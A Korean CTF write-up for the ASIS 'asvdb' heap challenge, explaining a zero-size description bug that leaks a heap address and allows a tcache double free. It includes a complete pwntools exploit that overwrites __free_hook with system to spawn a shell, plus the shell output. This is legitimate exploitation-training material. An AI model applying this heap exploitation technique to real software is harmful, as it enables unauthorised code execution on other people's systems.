본문으로 바로가기

ASIS CTF asvdb ( write - up )

Content

  • tcache dup

  • logic error


Analysis

struct bug
{
   _DWORD year;
   _DWORD id;
   _QWORD *title;
   _QWORD *desc;
   _DWORD severity;
};

위와 같은 구조체를 사용한다.


create()

int create()
{
 void *title; // ST20_8
 void *buf; // ST28_8
 unsigned int bug_index; // [rsp+4h] [rbp-2Ch]
 unsigned int size; // [rsp+10h] [rbp-20h]
 bug *bug; // [rsp+18h] [rbp-18h]

 bug_index = find_buglist();
 if ( bug_index == -1 )
   return puts("bug list is full, sorry.");
 puts("Creating Bug:");
 bug = malloc(0x20uLL);
 printf("Enter year: ");
 LOWORD(bug->year) = read_int();
 printf("Enter id: ");
 bug->id = read_int();
 printf("Enter title (Up to 64 chars): ");
 title = malloc(0x40uLL);
 bzero(title, 0x40uLL);
 read_str(title, 0x3Fu);
 bug->title = title;
 printf("Enter description size: ", 63LL);
 size = read_int();
 if ( size && size <= 0xFF )
{
   buf = malloc(size);
   bzero(buf, size);
   printf("Enter description: ", size);
   read_str(buf, size - 1);
   bug->desc = buf;
}
 else
{
   puts("Invalid description size.");
}
 printf("Enter Severity: (0: LOW, 1: MEDIUM, 2: HIGH, 3: CRITICAL): ");
 bug->severity = read_int();
 global_bug[bug_index] = bug;
 return printf("New bug created at index=%u.\n", bug_index);
}

bug를 만드는 함수인데, 아래 부분에서 취약점(?)이 발생한다.


if ( size && size <= 0xFF )
{
   buf = malloc(size);
   bzero(buf, size);
   printf("Enter description: ", size);
   read_str(buf, size - 1);
   bug->desc = buf;
}

만약 사이즈가 0이 된다면, 위에서 description을 제외한 나머지 title이나 bug는 이미 malloc되어있기때문에 description이 없는 bug가 할당된다.


show()

int show()
{
 unsigned int serverity; // eax
 unsigned int index; // [rsp+Ch] [rbp-4h]

 printf("Enter bug index: ");
 index = read_int();
 if ( index > 5 )
   return puts("Wrong idx.");
 if ( !global_bug[index] )
   return puts("Wrong idx.");
 puts("-------------------------");
 printf("idx: %u\n", index);
 printf("ID: ASV-%u-%u\n", *global_bug[index], *(global_bug[index] + 4LL));
 printf("Severity: ");
 serverity = *(global_bug[index] + 24LL);
 if ( serverity == 1 )
{
   puts("Medium");
}
 else if ( serverity < 1 )
{
   puts("Low");
}
 else if ( serverity == 2 )
{
   puts("High");
}
 else if ( serverity == 3 )
{
   puts("Critical");
}
 else
{
   puts("Unknown");
}

 printf("title: %s\n", *(global_bug[index] + 8LL));
 if ( *(global_bug[index] + 16LL) )
   printf("Description: %s\n", *(global_bug[index] + 16LL));
 return puts("-------------------------");
}

마지막 description을 출력하는 부분에서 description의 존재 여부를 확인하고 출력하는데, size에 0을 입력하게 되면 heap leak할 수 있다.

설명을 어떻게해야할지 모르겠지만 직접 돌려보면 알 수 있다.


free()

int __fastcall free_data(unsigned int index)
{
 _QWORD *tmp; // rax

 if ( global_bug[index] )
{
   free(*(global_bug[index] + 8LL));
   free(*(global_bug[index] + 16LL));
   free(global_bug[index]);
   tmp = &global_bug[index];
   *tmp = 0LL;
}
 else
{
   LODWORD(tmp) = puts("Wrong idx.");
}
 return tmp;
}

또한, free하고 나서 global_bug[index]NULL을 넣어주어 double free를 낼 수 없지만, create할 때 size에 0을 넣어주면 global_bug에 값이 들어가지만 *(global_bug[index] + 16LL)은 이미 free되어있는 상태이므로 DFB가 발생한다.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./asvdb"
e = ELF(binary)
libc = e.libc
r = process(binary)

menu = lambda x : r.sendlineafter("> ",str(x))
go = lambda x : r.sendlineafter(":",str(x))

def create(year,id_,title,size,description,severity):
    menu(1)
    r.sendlineafter("year: ",str(year))
    r.sendlineafter("id: ",str(id_))
    r.sendlineafter("title (Up to 64 chars): ",title)
    r.sendlineafter("size: ",str(size))
    if size == 0:
        pass
    elif len(description) >= size - 1:
        r.send(description)
    else:
        r.sendline(description)
    r.sendlineafter("3: CRITICAL): ",str(severity))

def delete(index):
    menu(3)
    go(index)

def show(index):
    menu(4)
    go(index)

for i in range(3):
    create(1,1,"A",0x88,"B",1)

delete(2)
delete(0)

for i in range(2):
    create(1,1,"A",0,"",1)

show(0)
r.recvuntil("Description: ")
heap = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x530
log.info("heap : " + hex(heap))

delete(0)

create(1,1,"A",0x88,p64(heap + 0x298),1)
create(1,1,"A",0x88,"XXXX",1)

fake = p64(e.got["free"]) * 2 + p64(1) + p64(0) + p64(0x51) + "A"*72 + p64(0x91)
create(1,1,"A",0x88,fake,1)

show(0)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["free"]
log.info("libc_base : " + hex(libc_base))

delete(3)
delete(2)

delete(1)
create(1,1,"A",0,"",1)
delete(1)

create(1,1,"A",0x88,p64(libc_base + libc.symbols["__free_hook"]),1)
create(1,1,"echo \"Get shell!\"",0x88,"/bin/sh\x00",1)
create(1,1,"A",0x88,p64(libc_base + libc.symbols["system"]),1)

delete(2)

r.interactive()

__free_hooksystem덮고 "/bin/sh"들어있는 청크 free시키면 된다.

원샷은 다 안맞는다.


Shell

juntae@ubuntu:~/ctf/asis/asvdb$ p ex.py 
[*] '/home/juntae/ctf/asis/asvdb/asvdb'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './asvdb': pid 8714
[*] heap : 0x258e000
[*] libc_base : 0x7fe19eb32000
[*] Switching to interactive mode
Get shell!
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)

실력이 늘듯 말듯 한다.

ASIS CTF 문제 꿀잼.